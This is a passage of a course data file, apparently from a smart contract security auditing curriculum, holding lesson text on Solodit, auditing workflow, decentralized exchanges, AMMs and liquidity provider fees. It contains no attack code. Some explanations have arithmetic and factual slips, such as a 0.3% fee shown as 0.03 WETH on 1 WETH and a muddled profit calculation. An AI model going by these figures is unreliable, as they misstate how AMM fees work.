knowledge, which solidified his position as the world's number one competitive auditor (pun intended).\n\nSolodit brings the latest and greatest security findings under one roof, positioning itself as an unbeatable resource for aspiring auditors and security enthusiasts. It lets you follow the trail of other auditors, helps you keep up with the latest, and allows you to stay one step ahead of potential attackers.\n\n> \"Solodit is a 100% must-do for people who want to get better at security and especially for those who want to excel at competitive audits. Studying the latest and greatest findings is the way you're going to stay ahead of the game and continue to keep the attackers at bay.\"\n\n## Getting Started with Solodit\n\nSign up on Solodit to kickstart your journey to becoming a master security researcher. You will be greeted with an intuitive interface with a findings search index. Say you need to explore high reentrancies – you can do a search and find related reports from other auditors. In short, Solodit serves as your one-stop solution to learn from the pros.\n\n![](https://cdn.videotap.com/a9jxnlI8mzpdQV3RFFii-95.86.png)\n\n## Digging Deeper: Features Overview\n\nOne of the most valuable features of Solodit is the aggregated reports from smart contract auditing firms and competitive audits. It helps you kickstart your day by browsing the latest and greatest reports from other auditors.\n\nThe audits page within the tool shows you ongoing contests, a timeline view of competitive audits in operations such as the Viper compiler, the Steadyfi, and more. You can easily dive into any of these competitive audits.\n\nA feature that deserves a special mention is the search for different bug bounties. It's no secret that finding and patching bugs can be quite rewarding. Solodit makes it easy for you to search for bug bounty programs, check their ratings, and understand how lucrative they might be.\n\n![](https://cdn.videotap.com/l6kCWJDKA8WMasYYpsMV-139.43.png)\n\nThe platform also includes a leaderboard tracking top competitive auditors. You might even catch Hans there! The leaderboard is a great way to measure your progress against others in the auditing field.\n\nLastly, with the added feature of note-taking, Solodit stands out from other tools. You can jot down notes about your findings or valuable insights from other people's reports. This personalized knowledge repository can help you enhance your skills as a smart contract security researcher.\n\n## The Bottom Line\n\nBecoming a successful security researcher or a leading smart contract developer requires continuous learning. Solodit provides a unique platform that allows you to effortlessly learn, compete, and evolve as a professional in the sector. Consider it as your personal go-to learning and resource tool for staying abreast of industry developments. If you aspire to lead in the world of smart contract security, signing up for Solodit is a no-brainer.\n", + "updates": [] + }, + { + "id": "a5810a91-3839-4aa1-8bc3-f235e17d4ff8", + "number": 66, + "title": "Wrapping Up", + "slug": "wrapping-up", + "folderName": "66-wrapping-up", + "description": "", + "duration": 2, + "videoUrl": "K9vSvvqmQls", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/66-wrapping-up/+page.md", + "markdownContent": "---\ntitle: Wrapping Up\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Celebrating Your Accomplishments and Preparing for the Next Challenge in Crypto-Audit\n\nHooray for you! You have successfully completed your puppy raffle audit. If you're wondering what's next, you're in the right place. Let's not keep that excitement to ourselves.\n\n## Post a Tweet About Your Achievement\n\n![](https://cdn.videotap.com/IWZnrLvTfiL85XHWN2bU-13.04.png)\n\nGo ahead and share your success on Twitter. There's no better way to share the news than a straightforward, cheerful tweet. If you're not sure how to compose your tweet, don't worry. I got you covered.\n\n> \"Celebrating your wins publicly not only helps you keep track of your progress but also encourages others to keep going.\"\n\n## Try Farcaster: A Web3 Social Media\n\nAs you continue your foray into the crypto-space, why not check out a more Web3 focused social platform? I'd recommend signing up for [Farcaster](https://www.farcaster.xyz/), a new venture into decentralized social media. It's an exciting area to explore alongside your security auditing work.\n\n## Do a CodeHawks First Flight\n\nNow that you have a puppy raffle audit under your belt, it's a great time to embark on a CodeHawks First Flight. These missions are designed specifically for someone like you—someone who understands security, knows Solidity, and wants to start working on fast-paced, competitive audits and expand their skill set.\n\n![](https://cdn.videotap.com/sMsQtEf4Y3DDqWTXFU5d-60.85.png)\n\nThe great thing about CodeHawks First Flights is that they can be quick to start and complete. Jump in and try any active first flight. If you're in a competitive mood, you can even attempt a full competitive audit. But no pressure, if you'd rather wait and focus on deepening your understanding of DeFi security, rest assured there are some powerful DeFi security review sessions coming up soon.\n\n## Commend Yourself for The Milestone Achieved\n\nRegardless of what you choose to do next, take a moment to pat yourself on the back. You've made it this far and it's no small feat. You've gotten a real feel for what it's like to be a security researcher—diving into code bases, writing reports, looking for vulnerabilities, and spotting potential bugs based on past experiences.\n\nRemember, in this field, repetition is the name of the game. The more audits you carry out, the more skilled you will become.\n\n```js\nconsole.log(\n \"Congratulations on getting this far! Now, go enjoy some ice cream.\"\n);\n```\n\n## Looking Ahead\n\n![](https://cdn.videotap.com/Rh51wSen1dPnlsxoPHB8-95.62.png)\n\nHaving savored your victory, get ready for the next level of challenges. Find us in our next section, where we'll delve deep into invariants and DeFi with T-Swap. So far, it's been fun and games, but we're about to broadly level up your skill set.\n\nUse this break to tweet or cast about your experiences, then gear up for the upcoming section. I'm excited to see you back here soon! Until then, continue celebrating, and remember - every success in crypto-audit is another leap forward in this world of blockchain and decentralized ledger technologies.\n\nBye for now, and see you soon in Section Five!\n", + "updates": [] + } + ] + }, + { + "number": 5, + "id": "a5e8a426-8db9-4b0e-934e-6dfdabf202c4", + "title": "TSwap", + "slug": "tswap", + "folderName": "5-tswap", + "lessons": [ + { + "id": "e420cca9-92f8-48e4-ae32-33c55034fed8", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "", + "duration": 5, + "videoUrl": "3_dZJDTzM1g", + "rawMarkdownUrl": "/routes/security/5-tswap/1-introduction/+page.md", + "markdownContent": "---\ntitle: Introduction\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Unveiling Invariance and DeFi in Security Auditing: An Interactive Exploration\n\nHappy to have you back in the exciting world of Security and Auditing. So, you’ve made it through the delightful puppy raffle, you have ideally signed up for Codeox and might have sprung into your first few flights or even explored a contest. That's awesome! You'd certainly be exuding more confidence about your security and auditing journey. But there's a lot more to unfold and absorb.\n\n## Entering Section Five: Invariance and Introduction to DFI T-SWAP Audit\n\nIn our detailed Git repo related to this course, when you scroll down, Section Five, Invariance and Introduction to DFI TSWAP Audit, will catch your attention. Making your journey a slight bit more interesting this time, we are moving onto another walkthrough security review. This time around, we will approach the task differently.\n\n![](https://cdn.videotap.com/y4z5tLc5N9gtADQGQSGP-43.5.png)\n\n## A Glimpse of What’s to Come\n\nDo not rush into the contracts yet, there’s plenty to learn before that! We will cover a lot in this section, a prime focus will be on 'Invariance'. Though we've touched upon invariants in the Foundry Course, we never really delved into their significance, and when it comes to security, that's when you realize how crucial they are.\n\nAs a budding security researcher, it’s critical to understand and appreciate the weight that invariance carries. You'll learn to identify bugs without even looking at the code in-depth. Of course, this shouldn't be your only strategy in a security review, but through this session, we're demonstrating how critical and potent it can be.\n\nWe will be wielding an array of powerful tools, such as stateful fuzzing and fuzzing invariance. If you’re unfamiliar with freepy, don't worry, we will explore that as well.\n\n![](https://cdn.videotap.com/vxJBy007OWXoaJWFjk6V-97.88.png)\n\n## Dive Deeper into DeFi\n\nDeFi experienced a surge in popularity recently. For those unfamiliar, DeFi, or decentralized finance, refers to financial services that are available on a public decentralized blockchain network. It eliminates the need for intermediaries and allows for a more open financial system.\n\nDespite the intricacy, DeFi is relatively straightforward to grasp. With patience and perseverance, you will understand it. It's a concept that can seem daunting initially due to the complex terms used. In reality, most of the concepts are based on basic math.\n\nWe will dissect the Uniswap Protocol or the T swap protocol, a Decentralized Exchange in DeFi, and demystify it for better understanding. As we dive into the security review, we will use a myriad of robust tools to hack into the system.\n\n> \"A little progress each day adds up to big results.\"\n\nThis quote embodies the essence of our entire journey here. By the end of this section, you will have practically audited an entire Uniswap V1 in the audit data folder.\n\n![](https://cdn.videotap.com/v1Dx6md72HKpatpU5PgM-195.75.png)\n\n## A Bag Full of Exploits and Tooling\n\nAfter diving under the hood of DeFi, we're going to learn a slew of new hacking techniques and tools. These include exploring esteemed toolkits like Echidna Foundry, examining concepts like consensus mutation testing and differential testing, and studying properties and exploits such as Weird ERC-20s callbacks, rebates, reentries, and core invariant breakings.\n\nThe prime focus for this session will be on understanding DFI and Invariance. Roughly going to the end of this section, you will have the experience of practically auditing the first-ever Uniswap created (Uniswap V1), commodities with a few of the bugs that I stumbled into during my journey.\n\n## Get Set Go!\n\nWith everything I've shared with you, brace yourself for a thrilling juncture in Security and Auditing. Let's put on our thinking caps, get our VS code and popcorn ready, and dive right into T Swap. Together, we will crack the code and delve deeper into the world of DeFi.\n", + "updates": [] + }, + { + "id": "8cd1ab7c-5005-41ec-93c7-86d7fb7b41a0", + "number": 2, + "title": "Phase 1: Scoping", + "slug": "phase-1-scoping", + "folderName": "2-phase-1-scoping", + "description": "", + "duration": 9, + "videoUrl": "OtgqBI33gCI", + "rawMarkdownUrl": "/routes/security/5-tswap/2-phase-1-scoping/+page.md", + "markdownContent": "---\ntitle: Phase 1 - Scoping\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## Cloning the Repo\n\nFirst things first, let's clone the repository into our security course directory as usual. Opening the repository link in a new tab, we copy the URL and perform a standard `git clone`. Let's paste this into our command line\n\n```bash\ngit clone https://github.com/Cyfrin/5-t-swap-audit\n```\n\nThis opens the 5 TSWAP audit into its own unique folder—an essential process for good workflow and code organization. To verify that all is well and we are on the correct branch, we run `git branch`.\n\nAs expected, we are on the main branch. This serves as our starting point for this eye-opening security review.\n\n![](https://cdn.videotap.com/3aVlKcGZ2t6Didb1YvL3-95.09.png)\n\n## Extensive Onboarding: Why It's Key\n\nAs we revisit the well-known Puppy Raffle, whose initial setup used basic onboarding, we delve into the importance of extensive onboarding, particularly for a TSWAP audit.\n\nThrough this review, you'll realize why taking the time to answer extensive onboarding questions is so crucial. The information collected in this process becomes a treasure trove for any security review—more so if questions are as painstakingly detailed as possible. That's why you want to gather as much information as possible, get your fingers everywhere credible!\n\n## Gathering the Important Data\n\nOur onboarding sheet collects basic information such as the website URL, which could have a wealth of information. It also enforces the absolute necessity of associated documentation—a critical pillar for achieving any successful code review.\n\nFor our TSWAP audit, the README file plays a pivotal role as our most accessible source of documentation. We also capture the point of contact, white paper, and commit hash.\n\nOn a regular audit, we'd swap branches to the commit hash to ensure we're working on an identical codebase through the command `git checkout \"[paste commit hash here]\"`. In this tutorial, however, we'll stick with the main branch.\n\n## Checking Codebase Size and Interactions\n\nOur TSWAP repository has two contracts in scope: Pool Factory and TSWAP. A scroll through the SRC shows that these are the only contracts in action, with a SLOC (Source Lines of Code) of 374. This figure, being double the size of our previous Puppy Raffle review, gives us a mental image of review duration based on code length and complexity.\n\nWe head into uncharted waters with a crucial question: How many external protocols does the code interact with? Though new to this discourse, you'll discover the answer's importance in due course.\n\n## Test Coverage: A Total Nightmare\n\nA cursory look at the test coverage (a dismal 41%) sets off alarm bells. By delving into the README file and running `make` on our command-line interface—watching as it triggers installations—we can see the extent of the test coverage—the bedrock of any software project.\n\n![](https://cdn.videotap.com/CsI8uiOgGgscAECYBaRW-297.16.png)After a round of `forge coverage`, we cringe at the test coverage results. A low coverage figure, such as the 40% and 37% for functions and branches respectively that we are staring at, is a bright red flag for bugs galore!\n\nOnce this alarming discovery is made, we must revert to the main branch using the commands `git stash` and `git checkout main`. We must also run `make` to commence another series of installations.\n\nNo sooner are these installations done that we return to business—our comprehensive onboarding documentation.\n\n## Scope, Scope File and Building Protocol Context\n\nOur review scope is now clear: the Pool Factory and TSWAP. With commands `make scope`, and `make scope file` we generate an output and file that are incredibly compatible with pandoc—a documentation generation tool we love.\n\nNow that the scope is clarified, we delve deeper into protocol understanding. Here, we ask questions like whether the project is a fork of an existing protocol, or if it uses rollups. Such queries, though seemingly unrelated to the immediate task, bear great significance later in the course.\n\nIn our case, our protocol is a new standalone rather than a fork of an existing one (Uniswap V1 for this instance). It doesn't use rollups or have multi-chain functionalities. It operates exclusively on Ethereum, sans the use of oracles or zero-knowledge proofs. It does interact with ERC20 tokens though, a factor you will get a clear understanding of once we delve into the protocol explanation.\n\n## More Onboarding Questions\n\nDuring protocol onboarding, it's essential to engage in a deep and meaningful conversation with the protocol team about protocol risks. Questions about rogue protocol admin capturing fees, inflationary deflationary ERC20, fiat transfer tokens, and rebasing tokens will often receive dismissive or uninformed responses.\n\nProtocols will often deny known issues or prior audits, as seen in our onboarding document. These points, however, form a vital part of building context resources, hence their import.\n\nThe README file plays a crucial role in this process but often falls short in providing adequate information. At this point, you'd reach out to the protocol team requesting walkthroughs, explainer videos, charts, or even a blog post—anything to build up an adequate information base.\n\nRemember, the developers of a protocol always possess more context than you'll ever get from code alone. Thus, asking them questions will accelerate your understanding. While it's critical to trudge through the codebase independently, reaching out when stuck can lead to faster solutions.\n\nNotwithstanding, remember to use the protocol team's time wisely and avoid asking basic questions like \"what's UN 256\". Your questions should reflect a deep understanding of the protocol and be geared towards obtaining further understanding.\n\n## Wrapping Up\n\nOur extensive onboarding not only prompts critical questions but also provides ready answers where possible. Obtaining answers to 'rec test' questions and understanding their post-deployment plans is easier when conducting a private audit. However, in a competitive audit setting, this information might not come as readily.\n\nIn summary, this T-SWAP audit tutorial shows just how comprehensive and detailed a security review can be. From cloning repositories and capturing enormous amounts of data to conversing with the protocol team about potential risks—every stage carries its weight of importance. So, buckle up, ask questions, and dig into those reviews with gusto!\n\nKeep an eye on this space, and let's explore more interesting protocols next time.\n", + "updates": [] + }, + { + "id": "cc17642d-b651-4008-9c54-9c65032f9a91", + "number": 3, + "title": "Primer On This Review", + "slug": "primer-on-this-review", + "folderName": "3-primer-on-this-review", + "description": "", + "duration": 2, + "videoUrl": "VCkuWCykYWg", + "rawMarkdownUrl": "/routes/security/5-tswap/3-primer-on-this-review/+page.md", + "markdownContent": "---\ntitle: Primer on This Specific Review\n---\n\n_Follow along with this video:_\n\n\n\n---\n\nWelcome, committed developers! If you've successfully traversed the onboarding phase of your latest project, not without its fair share of glitches, but overall a positive experience, let's now sail into the realms of uncharted territory. Here's where we dig deeper into documentation and imbibe the magic potion of protocol invariants. Sound unfathomable? Stay hooked!\n\n_\"Understanding a protocol's invariants is as crucial as security review itself, and it's possible to do one without opening any code.\"_\n\nSo buckle up for an intriguing journey of dissecting documentation, decoding protocol invariants, and their role in devising robust test suites.\n\n## **Unveiling Documentation**\n\nDocumentation serves as a treasure trove of virtues to get a deeper understanding of the codebase. Let's take a tour of the pertinent areas that call for focus and elaboration. Crystal clear documentation eases the complex process of security review, but—to our dismay—that's not always the case.\n\nAt times, documentation may not do absolute justice in illustrating intricate processes or mechanisms. For these instances, we need to bolster comprehension using self-explanatory diagrams and choreographed video lessons.\n\n## **Impact of Base Protocols: Case of Uniswap**\n\nOur discussion takes a fascinating turn as we move onto the trading phenomenon of decentralized exchanges. The protocol under our scanner, TSwap, derives its inspiration from the Uniswap Protocol.\n\n![](https://cdn.videotap.com/40hr7aunyYjpIPhaqrYe-49.68.png)\n\n[Learn more about Uniswap here](https://docs.uniswap.org/)\n\nBy analyzing TSwap, you inadvertently learn a great deal about Uniswap. It will unveil underlying concepts such as Automated Market Makers (AMMs) and decentralized exchanges.\n\nThe significance of comprehending these principles becomes the focal point when conducting a _Decentralized Finance (DeFi) Security Review_. The term \"Raffle,\" if familiar, would sound synonymous in this context. The rule of thumb? Know about raffles if dealing with a raffle, understand decentralized exchange when handling a decentralized exchange!\n\n## **Exploring Protocol Invariants**\n\nNow, before plunging into the nitty-gritty of devising foolproof test suites, let's lay the groundwork and comprehend _protocol invariants_.\n\nProtocol invariants typically refer to properties in a system that remain unchanged irrespective of the sequence of operations. Essentially, during the security review of a codebase, it's vital to define and verify the protocol invariants.\n\n## **Testing the Waters: Prepping for Test Suites**\n\nIn the world of coding, defining and understanding protocol invariants occupies a paramount position before the creation of test suites. It devolves chaos into order, aligns our vision, and sets into motion a trajectory that ultimately leads us to the wonderland of our retrieved goal.\n\nTo sum up, navigating the labyrinth of code security review gets simpler if you devote sufficient time understanding the nuances of documentation, the influence of base protocols and the pivotal role of protocol invariants before crafting test suites.\n\nIn the words of a seasoned developer,\n\n> \"Understanding the precepts before jumping into action can make the journey less cumbersome and the destination more rewarding.\"\n\nSo let's make that journey, let's begin the rewarding read and understanding the documentation.\n", + "updates": [] + }, + { + "id": "50ec6e20-7dd2-4a15-954f-67be45ea239d", + "number": 4, + "title": "What is a DEX?", + "slug": "what-is-a-dex", + "folderName": "4-what-is-a-dex", + "description": "", + "duration": 3, + "videoUrl": "ujVitVpzdJo", + "rawMarkdownUrl": "/routes/security/5-tswap/4-what-is-a-dex/+page.md", + "markdownContent": "---\ntitle: What is a DEX?\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# The Ultimate Guide To T-SWAP & Decentralized Exchanges\n\n## Getting Started\n\nAre you familiar with the concept of decentralized exchanges or DEXes? Well, T-SWAP is a promising project and an upcoming player in this space. T-SWAP is meant to be a permissionless way for users to swap assets between each other at a fair price. What else does T-SWAP aim to do, you ask? Well, let's unravel its offerings.\n\n## The T-SWAP in a Nutshell\n\nImagine you're a user with ten USDC (a stablecoin pegged to the US dollar) and you want to buy WETH (Wrapped Ether, an ERC20 equivalent of Ethereum). T-SWAP essentially allows for this transaction to occur. In simple terms, a user starts with ten USDC and zero WETH, use T-SWAP to make a swap, and they will end with zero USDC and some WETH.\n\nYou can think of T-SWAP as a decentralized asset token exchange similar to popular platforms such as Coinbase or Robinhood. But it's not just another cryptocurrency exchange, it is powered by the concept of decentralization, offering a cutting-edge alternative to traditional exchanges.\n\n![](https://cdn.videotap.com/iTNZThQG62yyusiLZJVT-35.77.png)\n\n## Diving into Decentralized Exchanges (DEXes)\n\nA quick visit to DeFi llama, a popular site that tracks decentralized finance protocols, will give you an idea about the variety of DEXes in the market. From Uniswap, Curve, Balancer to SushiSwap, each of these platforms have unique code bases and different pros and cons.\n\n> \"DEXes are a revolutionary approach to asset exchange, veering from the centralised norm and offering an autonomous, often peer-to-peer, trading experience.\"\n\nT-SWAP, much like many of these exchanges, is also classified as an Automated Market Maker (AMM). If you are confused or intrigued at this point, don't sweat it. Here is an article on Chainlink Labs that provides a detailed walk-through of the AMM concept.\n\n## Introducing Automated Market Makers (AMM)\n\nDecentralized exchanges such as T-SWAP operate differently from traditional order book exchanges. This is where the concept of AMMs comes in. It makes use of asset pools rather than an order book for asset exchange.\n\nRemember, diving into the world of DEXes and AMMs can initially be challenging, but also immensely rewarding. So take the plunge, and happy learning!\n", + "updates": [] + }, + { + "id": "dea61563-14e6-4c88-935e-4cbdc977f46a", + "number": 5, + "title": "What is an AMM?", + "slug": "what-is-amm", + "folderName": "5-what-is-amm", + "description": "", + "duration": 10, + "videoUrl": "CDMlzkJmKwQ", + "rawMarkdownUrl": "/routes/security/5-tswap/5-what-is-amm/+page.md", + "markdownContent": "---\ntitle: What is an AMM & How AMM works?\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n# Understanding Automated Market Makers: A Deep Dive into Decentralized Finance\n\nDecentralized finance is gaining popularity as the world turns towards blockchain technologies for secure, transparent financial transactions. Central to DeFi's attraction is the Automated Market Maker (AMM), a unique trading model that is reshaping our understanding of trading mechanisms. However, to grasp this concept effectively, let's first refresh our understanding of the traditional order book style of exchange.\n\n## The Traditional Order Book Style of Exchange\n\nImagine that you want to trade on Coinbase or Robinhood. Here's what that process might look like:\n\n1. You come to the exchange and say, \"Hey, I want one WETH (Wrapped Ethereum) for ten USDC.”\n2. You place an order that goes onto what's known as an 'order book.'\n3. Another user sees your trade and decides they're interested.\n\nIf the other user has one WETH and zero USDC, they might think your trade is reasonable and decide to take it. The system identifies these matched orders and facilitates the exchange. User A gives ten USDC to the system, which gives it to User B, and vice versa.\n\nThis model is commonly used by large, centralized exchanges; however, it does present a few challenges:\n\n- Every exchange transaction using Ethereum costs 'gas' (i.e., the cost of computation). This can rack up significant costs for users and could potentially deter people from using the platform.\n- With this style of exchange, a lot of computation work occurs behind the scenes. This complexity can hinder its full implementation on a decentralized platform like Ethereum.\n\nSo, knowing these limitations, Ethereum decided on an alternate approach.\n\n![](https://cdn.videotap.com/e4EULmEIKYejqgjYxvO4-189.76.png)\n\n## Enter the Automated Market Maker\n\nRather than placing orders and matching them as in an order book exchange, an AMM operates on the principle of liquidity pools.\n\nLet's visualize this using an example:\n\n1. Assume two giant pools of money or 'liquidity pools' exist — one with 100 WETH and the other with 1000 USDC.\n2. User A wishes to buy one WETH with his ten USDC.\n\nAt this stage, a specific mathematical function comes into play:\n\n- The system calculates the ratio of WETH to USDC in the pools which is 1000 USDC / 100 WETH = 10.\n- So, the 'mock price,' as we are calling it, is 1 WETH = 10 USDC.\n\nNow, if User A wants to take one WETH out of the pool, he must ensure the correct ratio is maintained. So he puts ten USDC into the USDC pool, and only then can he take out one WETH.\n\n![](https://cdn.videotap.com/NDFbEb030FC4DlLUCFdR-355.8.png)\n\nThis alters the ratio in the pools. There are now 1010 USDC and 99 WETH. Recalculating, we see the ratio is now 1010/99 = 10.2. One WETH now amounts to 10.2 USDC - an increase of 0.2 USDC from the last transaction. By simply completing the transaction, User A has managed to move the market and change the price of WETH. This essentially resembles market dynamics breath the concept of supply and demand; as demand for an asset increases, so does its price, and vice versa.\n\n![](https://cdn.videotap.com/csLNwV1pl8cFQGODANry-379.52.png)\n\nThis same principle applies when User B wants to trade. They can keep changing the ratios by adding or subtracting amounts in these pools to trade their preferred amount, given that the ratio always is maintained. This AMM model is known as a 'constant product market maker,' a type of AMM that maintains a constant product of the quantities of the two assets.\n\nThe following code block presents an example of how this might be implemented programmatically:\n\nThis demonstrates how an AMM operates in a simple and efficient manner, bypassing the traditional challenges of an order book model. But, it is important to remember that this simple example doesn't capture the complexity and potential risks associated with real-world AMMs.\n\nAMMs are just one aspect of DeFi that is pushing the boundaries of what is possible in finance, allowing individuals to gain control over their financial interactions. However, it’s crucial to understand that, like any financial system, it comes with its own set of risks and challenges. Remember, your capital is always at risk when investing.\n\n_“The fascination of DeFi lies in the infinite possibilities it brings to the world of finance, pushing boundaries and creating opportunities.”_\n", + "updates": [] + }, + { + "id": "08b67262-6849-4a51-b128-5a890f5b25a5", + "number": 6, + "title": "Liquidity Providers", + "slug": "liquidity-providers", + "folderName": "6-liquidity-providers", + "description": "", + "duration": 11, + "videoUrl": "KcFGNXYagvM", + "rawMarkdownUrl": "/routes/security/5-tswap/6-liquidity-providers/+page.md", + "markdownContent": "---\ntitle: Liquidity Providers - Why AMMs have Fees?\n---\n\n\n\n---\n\n# Untangling Decentralized Finance: Understanding Automated Market Makers (AMMs)\n\nWelcome back to our deep-dive into the bustling world of decentralized finance. Today, we're unraveling the complexity of Automated Market Makers (AMMs) like Uniswap and Sushiswap, explaining how they facilitate trades and generate fees for liquidity providers. Let's get started!\n\n## What Makes An AMM Work?\n\nThe heart of an AMM like Uniswap resides in its liquidity pools. For simplicity, let's take an imaginary pool that contains 1000 USDC (United States Digital Coin) and 100 WETH (Wrapped Ether). This pool facilitates trades: for instance, someone could exchange 10 USDC for 1 WETH.\n\nBut there's more to it: after the trade, there's a new balance in the pool. With one WETH taken out and 10 USDC added, we now have 1010 USDC and 99 WETH.\n\nIMPORTANT: Remember, almost all AMMs also extract a small fee for each transaction, say, 0.3%. So, to trade 1 WETH, one might actually need to send 1.03 WETH, with the 0.03 WETH fee either going to its designated spot or staying within the pool.\n\nNow, you might be wondering if there's a loophole that allows you to make infinite money by continuously trading, but allow us to dash your dreams. AMMs have mathematical safeguards in place to prevent such abuse.\n\n## The Role Of Liquidity Providers\n\nWho funds these pools full of digital currencies, you ask? Enter the Liquidity Providers (LPs), the unsung heroes of the AMM system. They supply the assets to the protocol so individuals can perform swaps.\n\nWhen an LP adds their funds - for example, 1000 USDC and 100 WETH - they gain ownership of the pool equivalent to their share of total funds, which is represented by Liquidity Provider Tokens (LP Tokens).\n\nSo, by investing their assets into the protocol, LPs not only gain ownership but also earn a share of the transaction fees generated from the trades.\n\n## More About LP Tokens And Fees\n\nLet's investigate further into the LP Tokens and their relationship with fees. Say, a new liquidity provider, C, enters the pool with half of what A and B initially put in, essentially 500 USDC and 50 WETH. This, in turn, increases the total assets in the pool to 2500 USDC and 250 WETH.\n\nIn return for their contribution, liquidity provider C receives LP tokens. How many?\n\nWell, we can calculate that by taking the ratio of the funds they've added to the total funds, in this case, 0.2 (or 20%). Multiplying this by the total LP Tokens, we deduce that liquidity provider C will receive 50 LP Tokens, granted their contribution.\n\nConsequently, we now have a total of 250 LP Tokens in circulation. At this juncture, we also have a pool of 2500 USDC and 250 WETH ready for trades.\n\n## How Fees Make Money For Liquidity Providers\n\nThe burning question now is: How do liquidity providers make profits? The answer lies with the transaction fees mentioned earlier.\n\nEvery trade results in a fee that slightly adjusts the ratio of assets in the pool. For instance, if a user trades 10 USDC for 1 WETH, they're also charged a fee (0.3 USDC in our example), which changes the pool balances to 2510.3 USDC and 249 WETH.\n\nWhen a liquidity provider chooses to withdraw their funds, they can redeem their LP tokens for an amount of each pool asset proportional to their LP tokens. So, if Liquidity Provider C withdraws their 50 LP Tokens (representing a 20% stake), they'll get back their original investment plus their earned fees.\n\nLet's crunch some numbers:\n\n```markdown\n# Assuming 1 WETH is equivalent to 10 USDC\n\n# Initial Deposit: 500 USDC and 50 WETH\n\n# Amount Withdrawn: 502.6 USDC and 49.8 WETH\n\n# Equivalent to: 498 USDC + 502.6 USDC = 1000.6 USDC\n\n# Profit: 1000.6 USDC - 1000 USDC = 0.6 USDC\n```\n\nIt's by these accruing transaction fees that liquidity providers gain returns on their investments. The more trades executed, the more fees generated and the more money they make, providing an explanation regarding why so many are lured towards becoming liquidity providers.\n\n## Wrapping Up\n\nAt a high level, this is the underlying mechanism of an automated market maker like Uniswap. It might seem complex or counterintuitive at first, especially given the novel concepts and the involvement of mathematical models. But with some involvement and time, I assure you, it all starts making more intrinsic sense.\n\nIn the end, it's about providing liquidity, facilitating exchanges, and earning fees - all in a decentralized manner on the blockchain.\n\n> \"Decentralized finance might seem mesmerising at first, but when you dive into it, you realize it's all about providing liquidity, facilitating exchanges, and earning rewards – all in a decentralized way on the blockchain.\"\n\nStay tuned for more deep-dives into the ever-evolving world of decentralized finance!\n", + "updates": [] + }, + { + "id": "3a439ac2-6269-4ca3-9152-8fc65b99a683", + "number": 7, + "title": "How AMMs Work", + "slug": "how-amms-work", + "folderName": "7-how-amms-work", + "description": "", + "duration": 5, + "videoUrl": "p779dDo6tFs", + "rawMarkdownUrl": "/routes/security/5-tswap/7-how-amms-work/+page.md", + "markdownContent": "---\ntitle: How AMMs Work Recap\n---\n\n\n\n---\n\n# Understanding Automated Market Makers, T-SWAP and Uniswap\n\nCramming a ton of concepts into one learning session can be overwhelming. But let's decode the concepts of T-SWAP or Uniswap, and how Automated Market Makers (AMMs) operate and differ from traditional order books.\n\n## Reviewing Traditional Order Books\n\nIn typical exchanges, a user may propose a trade, for instance, as wanting 1 ETH for 10 USDC. This proposal gets placed into an order book. Users are then able to propose their own trades or to accept others' proposals. This method is how a traditional centralized exchange operates, using the order book methodology.\n\nHere's a basic example:\n\n> \\[ User1: TRADE PROPOSAL — 1 ETH for 10 USDC \\]\n\nHowever, a lot happens behind the scenes in this model. Orders are being matched, and with an extensive list of orders in their order books, this process can be highly gas-consuming, involving multiple transactions on the centralized exchange.\n\n**IMAGES HERE**\n\nThe challenge with decentralized finance (DeFi) is this model's costs. If many transactions lead to significant gas spending and if you have to wait for someone to accept your trade, it could take quite a few blocks. So, the question is — how can we manage costs and keep trading to one transaction?\n\n## Introducing Automated Market Makers (AMMs)\n\nEnter AMMs, a solution to the above problems. Instead of an order book, we work with giant pools of money and utilize the ratio between these pools as the assets' price. To take money out of one pile, you need to put equivalent ratio into the other pile. This concept is known as the AMM, more specifically, the constant product market maker or constant product formula.\n\nAlso, each swap that users make on their smart contract collects an added fee. These fees incentive people to create and contribute to these money pools as liquidity providers actually make profit from these accumulated fees with more trades people make.\n\n## Understanding T-swap and Uniswap\n\nBoth [Uniswap](https://uniswap.org/) and T-swap use the AMM model. Uniswap, for instance, has gone through several iterations (v1, v2, v3 with v4 currently in progress), each slightly different but fundamentally based on the AMM's principles.\n\nWhen learning a protocol, consider taking a hands-on approach. Connect to the protocol through a secure wallet and test out transactions.\n\n> **NOTE:** The 'Discussions' tab, Piranha IO, the Ethereum Stack Exchange, Discord, and Telegram are invaluable resources for understanding novel solutions that developers and protocol creators are cooking up. Get comfortable asking questions, especially when conducting a private audit.\n\nWith time, the process becomes more navigable, allowing you to understand the protocols and begin tinkering with the code.\n\n## Building Context and Better Understanding AMMs\n\nLet's explore further. If unclear, don't sweat it. It's okay to not get everything right away — continue to ask questions and gradually everything will fall into place.\n\nBrowse through the Git repo associated with the current section, go to the audit data branch, and take a good look at the accompanying diagrams. They will offer a good visual understanding of how these concepts interlock.\n\nTo better understand AMMs and keep up with the evolving world of DeFi, keep probing, keep asking questions, keep building context. No one method is a silver bullet — the best way to learn is the way that works for you.\n\n> \"The more you work with it, the more sense it'll make.\"\n", + "updates": [] + }, + { + "id": "82992418-cc58-44f2-834d-3a3450284f54", + "number": 8, + "title": "TSwap Recon Continued", + "slug": "t-swap-recon-continued", + "folderName": "8-t-swap-recon-continued", + "description": "", + "duration": 3, + "videoUrl": "s0OdASrF98Q", + "rawMarkdownUrl": "/routes/security/5-tswap/8-t-swap-recon-continued/+page.md", + "markdownContent": "---\ntitle: T-SWAP Recon Continued\n---\n\n\n\n---\n\n# Decoding the AMM Swapping Process using Pool Factory Contracts\n\nIn our last conversation, we delved into the complexities of the AMM (Automated Market Maker) swapping process. This blog post builds on that foundation, unravelling other critical sections and explaining how a pool factory contract fits into the picture.\n\n![](https://cdn.videotap.com/KhZyFmTzPcrusQqCBOsj-8.05.png)\n\n## Diving into a Pool Factory Contract\n\nAt its core, the protocol begins as a pool factory contract, which you can use to create new pools of tokens. Glancing through the audit data branch, you'll notice the `poolfactory.sol` that includes this `Create Pool` function. This function is responsible for forming these AMM pools, hallmarking a major component of our swapping process.\n\n```js\nfunction createPool(address tokenA, address tokenB) external returns (address pool) {\n // ...\n return pool;\n}\n```\n\nMade it more evident, when we zoom into the `poolfactory.sol`, it's seen that various token pairs can be created. For instance, there's a USDC 